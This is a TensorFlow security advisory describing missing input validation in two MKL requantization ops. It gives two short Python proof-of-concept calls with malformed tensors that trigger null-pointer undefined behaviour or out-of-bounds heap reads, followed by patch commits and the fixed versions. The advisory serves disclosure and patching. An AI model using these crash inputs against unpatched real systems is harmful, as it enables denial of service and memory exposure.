Impact

Due to incomplete validation in MKL implementation of requantization, an attacker can trigger undefined behavior via binding a reference to a null pointer or can access data outside the bounds of heap allocated arrays:

import tensorflow as tf

tf.raw_ops.RequantizationRangePerChannel(
  input=[],
  input_min=[0,0,0,0,0],
  input_max=[1,1,1,1,1],
  clip_value_max=1)

The implementation does not validate the dimensions of the input tensor.

A similar issue occurs in MklRequantizePerChannelOp:

import tensorflow as tf 
from tensorflow.python.ops import gen_math_ops

gen_math_ops.requantize_per_channel(
  input=[],
  input_min=[-100,-100,-100,-100,-100],
  input_max=[-100,-100,-100],
  requested_output_min=[-100,-100,-100,-100,-100],
  requested_output_max=[],
  out_type=tf.int)

The implementation does not perform full validation for all the input arguments.

Patches

We have patched the issue in GitHub commit 9e62869465573cb2d9b5053f1fa02a81fce21d69 and in the Github commit 203214568f5bc237603dbab6e1fd389f1572f5c9.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.